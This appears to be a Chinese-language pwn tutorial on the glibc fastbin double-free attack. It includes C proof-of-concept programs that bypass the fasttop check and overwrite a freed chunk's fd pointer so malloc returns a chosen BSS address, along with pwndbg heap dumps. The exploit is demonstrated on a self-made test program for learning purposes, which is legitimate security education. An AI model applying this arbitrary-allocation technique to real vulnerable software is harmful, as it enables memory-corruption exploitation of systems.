Fastbin DOUBLE FREE

Fastbin Attack 基本介绍

fastbin attack是一类漏洞的利用方法，是指所有基于fastbin机制的漏洞利用方法。这类利用的前提是：

  • 存在堆溢出、UAF 等能够控制 chunk 内容的漏洞。
  • 漏洞发生于 fastbin 类型的 chunk 当中。

Fastbin Attack 漏洞原理

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的，若一个 chunk 被释放之后进入 fastbin，那么其相邻下一个堆块的 prev_inuse 标志位不会被清空（prev_inuse 简写为 P，位于 size 的最低位，一般来说堆中第一个被分配的内存块的 size 字段的 P 位会被置 1，以便防止访问前面的非法内存。当一个 size 的 P 位置 0 时，我们就可以通过 prev_size 字段来获取上一个 chunk 的大小以及地址，这也方便进行 chunk 之间的合并）

我们来看一下 fastbin 是怎样管理空闲 chunk 的。

1
2
3
4
5
6
7
8
9
10
11
12
int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x30);
    chunk2=malloc(0x30);
    chunk3=malloc(0x30);
    //进行释放
    free(chunk1);
    free(chunk2);
    free(chunk3);
    return 0;
}

pwngdb 单步执行到 malloc 执行之后，free 之前：

1
2
3
4
5
6
7
8
9
10
11
12
13
0x602000:   0x0000000000000000  0x0000000000000041 <=== chunk1
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000041 <=== chunk2
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000041 <=== chunk3
0x602090:   0x0000000000000000  0x0000000000000000
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000000000
0x6020c0:   0x0000000000000000  0x0000000000020f41 <=== top chunk

执行三次 free(chunk）之后：

1
2
3
4
5
6
7
8
9
10
11
12
13
0x602000:   0x0000000000000000  0x0000000000000041 <=== chunk1
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000041 <=== chunk2
0x602050:   0x0000000000602000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000041 <=== chunk3
0x602090:   0x0000000000602040  0x0000000000000000
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000000000
0x6020c0:   0x0000000000000000  0x0000000000020f41 <=== top chunk

此时位于 main_arena 中的 fastbin 链表中已经储存了指向 chunk3 的指针，并且 chunk3，chunk2，chunk1 构成了一个单链表：

1
2
3
4
Fastbins[idx=2, size=0x30,ptr=0x602080]
===>Chunk(fd=0x602040, size=0x40, flags=PREV_INUSE)
===>Chunk(fd=0x602000, size=0x40, flags=PREV_INUSE)
===>Chunk(fd=0x000000, size=0x40, flags=PREV_INUSE)

当然这里还有一点问题，就是被释放的 chunk 为什么 prev_inuse 位迟迟不修改为 0：

1
2
3
4
5
只有当触发了 malloc_consolidate 时，这些 Fastbin 才会真正被合并入 Unsorted Bin。
此时系统会遍历 Fastbin 链表，清空这些 chunk 的 inuse 标志。
修改相邻下一个 chunk 的 PREV_INUSE 位为 0。

因此标志位为1是正常的。这是 Fastbin 为了换取高性能，不更新相邻 chunk 状态导致的。

Fastbin Double Free 漏洞利用

由于 fastbin 的 chunk 可以被多次释放，因此可以在 fastbin 链表中存在多次。这样导致的后果是可以多次分配从 fastbin 链表中取出一个堆块，相当于多个指针指向同一个堆块，结合堆块的数据内容可以实现类似于类型混淆的效果。

Fastbin Double Free 能够成功利用主要有两部分的原因

  1. fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空(这个前面提到过)
  2. fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块，即链表指针头部的块。对于链表后面的块，并没有进行验证。
1
2
3
4
5
6
7
/* Another simple check: make sure the top of the bin is not the
       record we are going to add (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
}

Fastbin Double Free 利用流程

1
2
3
4
5
6
7
8
9
10
int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk1);
    return 0;
}

我们直接在 linux 终端去运行程序，下面是 double free 导致程序崩溃爆出错误

1
2
3
4
➜  Desktop ./test2
*** Error in `./test2': double free or corruption (fasttop): 0x0000000013346010 ***
[1]    111066 IOT instruction (core dumped)  ./test2
➜  Desktop

如果我们在 chunk1 释放之后再释放 chunk2，这样子 main_arena 就指向 chunk2 而不是 chunk1，此时我们再释放 chunk1 就不会被爆 double free 导致程序崩溃了，我们可以修改一下 C 源代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);
    return 0;
}
//运行结果 --->
➜  Desktop ./test3
free(): double free detected in tcache 2
[1]    111511 IOT instruction (core dumped)  ./test3

第一次释放 chunk1 时main_arena 是指向 chunk1 的

1768148088132-e29c820a-1962-4deb-8578-d3c94ccf3508.png

第二次释放 chunk2 时根据 fastbin 的释放原则形成一个单链表结构

1768148144072-937dbf41-cd84-46df-9232-65b3732d0f5f.png

第三次释放 chunk11768148176338-ab98b2de-02b5-4aa5-a2c4-67ed772f51b3.png

由于 chunk1 时第二次被释放，因此其 fd 的值不再为 0 而是指向 chunk2，如果我们可以控制 chunk1 的内容，就可以写入其 fd 指针从而实现在任意地址分配 fastbin 块。

我们看下面一个例子：这是一个经典的 fastbin double free + 任意地址写入 利用代码，最终目的是让 malloc 返回到 &bss_chunk（全局变量地址）。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;
//bss_chunk 就是 malloc 给 BSS 段未初始化变量内存块贴的 “身份标签”。
int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;

    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);

    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p",chunk_b);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
typedef struct _chunk {
    long long pre_size;  // 前一个chunk的大小（仅在前一个chunk空闲时使用）
    long long size;      // 当前chunk的大小（包括元数据，低3位为标志位）
    long long fd;        // 前向指针（空闲时指向链表中下一个chunk）
    long long bk;        // 后向指针（空闲时）
} CHUNK, *PCHUNK;

--------------------------------------------------------------------------
1)初始状态：
bss_chunk 全局变量： bss_chunk.size=0x21;
+----------------+
| pre_size = ?   |  // 未初始化
| size = 0x21    |  // 设置为0x21（表示chunk大小为0x20，P=1）
| fd = ?         |
| bk = ?         |
+----------------+

-----------------------------------------------------------------------------
2)分配两个chunk
chunk1 = malloc(0x10);  // 实际chunk大小：0x20（0x10用户数据+0x10头部）
chunk2 = malloc(0x10);
堆内存布局：
+----------------+
| chunk1头部     | size=0x21
| chunk1数据     | 0x10字节
+----------------+
| chunk2头部     | size=0x21
| chunk2数据     | 0x10字节
+----------------+
| top chunk      |
+----------------+

-----------------------------------------------------------------------------
3)三次free操作：
free(chunk1);  // chunk1进入fastbin[0x20]
free(chunk2);  // chunk2进入fastbin[0x20]
free(chunk1);  // 再次free chunk1 → double free!
此时fastbin[0x20]链表状态：
    fastbin[0x20]: chunk1 -> chunk2 -> chunk1 -> chunk2 -> ... (循环链表，由于double free)

----------------------------------------------------------------------------------
4)Double Free利用
chunk_a = malloc(0x10);              // 从fastbin取出chunk1
*(long long *)chunk_a = &bss_chunk;  // 修改chunk1的fd指针
修改后的fastbin链表：
fastbin[0x20]: chunk1 -> bss_chunk   (chunk1的fd被修改为&bss_chunk)

-------------------------------------------------------------------------
5)连续malloc触发攻击
malloc(0x10);  // 取出chunk2（fastbin中当前第一个）
malloc(0x10);  // 取出chunk1（此时chunk1的fd指向bss_chunk）
chunk_b = malloc(0x10);  // 取出bss_chunk!

---------------------------------------------------------------------------
6)
最后：
chunk_b 指向 &bss_chunk（全局变量地址）
printf("%p", chunk_b) 将输出 bss_chunk 的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
初始: malloc(chunk1), malloc(chunk2)
堆: [chunk1][chunk2][top]

free(chunk1): fastbin -> chunk1
free(chunk2): fastbin -> chunk2 -> chunk1
free(chunk1): fastbin -> chunk1 -> chunk2 -> chunk1 ->(循环...)

malloc(chunk_a): 取出chunk1
修改chunk1->fd = &bss_chunk
fastbin: chunk2 -> chunk1 -> bss_chunk

malloc: 取出chunk2
malloc: 取出chunk1
malloc: 取出bss_chunk! ← 攻击成功
printf打印出bss_chunk地址

所以完整取出步骤是: chunk1->(修改chunk1fd指针=bss_chunk)chunk2->chunk1->bss_chunk

OK，通过以上陈述我们就以就大概了解这个程序 Double free 的运行流程了，下面我们可以通过 pwngdb 调试看一看程序堆内存具体的分布，去进一步了解程序的运行以及内存分配：

pwngdb 调试程序，直接运行到程序的最后一步，看到程序输出的 bss 段中的 bss_chunk ：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
──────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────
   0x400645       <main+143>                 mov    rax, qword ptr [rbp - 8]        RAX, [0x7fffffffdf48] => 0x601090 (bss_chunk+16) ◂— 0
   0x400649       <main+147>                 mov    rsi, rax                        RSI => 0x601090 (bss_chunk+16) ◂— 0
   0x40064c       <main+150>                 mov    edi, 0x4006f4                   EDI => 0x4006f4 ◂— and eax, 0x1000a70 /* '%p\n' */
   0x400651       <main+155>                 mov    eax, 0                          EAX => 0
   0x400656       <main+160>                 call   printf@plt                  <printf@plt>
 
 ► 0x40065b       <main+165>                 mov    eax, 0            EAX => 0
   0x400660       <main+170>                 leave  
   0x400661       <main+171>                 ret                                <__libc_start_main+240>
    ↓
   0x7ffff7820840 <__libc_start_main+240>    mov    edi, eax          EDI => 0
   0x7ffff7820842 <__libc_start_main+242>    call   exit                        <exit>
 
   0x7ffff7820847 <__libc_start_main+247>    xor    edx, edx          EDX => 0
───────────────────────────────────────────[ STACK ]────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdf30 —▸ 0x602010 —▸ 0x601080 (bss_chunk) ◂— 0
01:0008│-018 0x7fffffffdf38 —▸ 0x602030 —▸ 0x602000 ◂— 0
02:0010│-010 0x7fffffffdf40 —▸ 0x602010 —▸ 0x601080 (bss_chunk) ◂— 0
03:0018│-008 0x7fffffffdf48 —▸ 0x601090 (bss_chunk+16) ◂— 0
04:0020│ rbp 0x7fffffffdf50 —▸ 0x400670 (__libc_csu_init) ◂— push r15
05:0028│+008 0x7fffffffdf58 —▸ 0x7ffff7820840 (__libc_start_main+240) ◂— mov edi, eax
06:0030│+010 0x7fffffffdf60 ◂— 1
07:0038│+018 0x7fffffffdf68 —▸ 0x7fffffffe038 —▸ 0x7fffffffe3a4 ◂— '/home/pwn/Desktop/test4'
─────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────
 ► 0         0x40065b main+165
   1   0x7ffff7820840 __libc_start_main+240
   2         0x4004e9 _start+41
────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

直接查看堆内存的分布情况 x/50gx 0x601080 （后面的数据都是 0 就不放了）

1
2
3
pwndbg> x/50gx 0x601080
0x601080 <bss_chunk>:	    0x0000000000000000	0x0000000000000021
0x601090 <bss_chunk+16>:	0x0000000000000000	0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x602020
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x602040
Size: 0x410 (with flag bits: 0x411)

Top chunk | PREV_INUSE
Addr: 0x602450
Size: 0x20bb0 (with flag bits: 0x20bb1)
                                                        +----> bss_chunk
pwndbg> x/20gx 0x602000                                 |
0x602000:	0x0000000000000000	0x0000000000000021|<==chunk1<----+
0x602010:	0x0000000000601080	0x0000000000000000|              |
0x602020:	0x0000000000000000	0x0000000000000021|<==chunk2---->+
0x602030:	0x0000000000602000	0x0000000000000000|
0x602040:	0x0000000000000000	0x0000000000000411
0x602050:	0x3039303130367830	0x000000000000000a
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000

更新: 2026-04-23 15:18:27
原文: https://www.yuque.com/idcm/wnemg9/xt5r0lozxonquxxc